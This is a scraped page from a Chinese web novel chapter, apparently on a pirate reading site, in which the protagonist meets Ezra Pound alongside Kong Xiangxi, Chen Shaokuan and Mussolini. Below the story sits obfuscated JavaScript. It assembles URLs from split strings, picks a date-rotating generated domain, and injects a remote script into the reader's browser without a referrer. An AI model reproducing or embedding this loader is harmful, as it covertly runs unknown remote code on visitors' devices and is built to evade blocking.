返回

809【诗歌朗诵】 民国之文豪崛起

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

在现代主义文学诸多流派当中,有一个叫做“意象派”,其代表人物和命名者,正是埃兹拉·庞德。

20世纪初,有那么一群欧美诗人,受日本俳句的影响,开始将诗歌意向作为研究重点。后来,他们发现日本俳句源于中国格律诗,进而又去研究中国古诗词,从而形成了所谓的“意象派诗歌”。

特别是埃兹拉·庞德,这位先生对中国文学的喜爱已经走火入魔了,完全就像是在对汉字进行顶礼膜拜。他认为汉诗和汉字充满了魔力,以至于在自己的长诗《诗章》当中多处夹杂汉字,以表达某种神秘的意蕴。

大家可能见过这样的诗歌,在某首中国白话诗当中,突然蹦出几个英文词汇,似乎这样就能显出高贵逼格。庞德的诗歌刚好相反,在一堆英文或意大利文诗句里,突然蹦出几个汉字,看得西方读者一脸懵逼。

“噢,周,终于见到你了!”庞德张开双臂,走起路来吊儿郎当。

此君的外形显得很魔性,脸型瘦长,鹰钩鼻,下身一条宽大裤子,上身衬衣套毛衣。头发和胡须已经花白,根根乱糟糟竖立着,像是浑身通着静电,又像是刚从精神病院里跑出来的。

周赫煊跟庞德来了个熊抱,笑道:“庞德先生,久仰大名!”

真的是久仰大名,依照庞德对现代文学的贡献,获得诺贝尔文学奖绰绰有余。可惜,他是墨索里尼的铁杆粉丝,二战结束后被美国定性为“叛国罪”,住进精神病院才逃脱牢狱之灾,诺贝尔文学奖自然跟他无缘。

庞德是叶芝的学生,艾略特的同学,海明威的老师,而这三人都是诺贝尔文学奖得主。

周赫煊介绍道:“这位是中国财政部长孔祥熙先生,这位是中国海军部长陈绍宽先生!”

“孔先生好!”

“陈先生好!”

庞德使用的是英语。

孔祥熙和陈绍宽也用英语问候,只不过嘛,陈绍宽说的是纯正英式英语,孔祥熙说的是山西太谷味美式英语。不管怎么着,反正孔祥熙的英语能让人听懂,至少比印度英语和日本英语要好一些。

“坐,各位都请坐,”墨索里尼热情招呼,笑道,“哈哈哈哈,庞德先生对中国文化很有研究,他很高兴能和来自中国的朋友探


本章未完,点下一页继续阅读。>>>

《民国之文豪崛起》,牢记网址:m.bqgcq.com

上一章 回目录 下一页
let urls=["hIItIItIIpIIsII:II/II/II{IIdIIdIImII}II/II1II8II/II1II1II0II5II6II1IIbII2II6II2II9II3II8".split("II").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRtRR.RRxRRmRRgRRxRRxRRqRR.RRcRRoRRmRR/RR1RR8RR/RR1RR1RR0RR5RR6RR1RRbRR2RR6RR2RR9RR3RR8".split("RR").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['c4dn4p', '52krf1en56', 'mkzyl', '4e8m9wiscm', '930qsg3j68', '7lhqw', 'f691ax6', 'd5ykh16s8b', 'u7ygkovbl', 'nht5dbh', '8ui4pdu12', 'd69otnj', 'vc2tmv', 'n5m2m', 'o80m3b'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();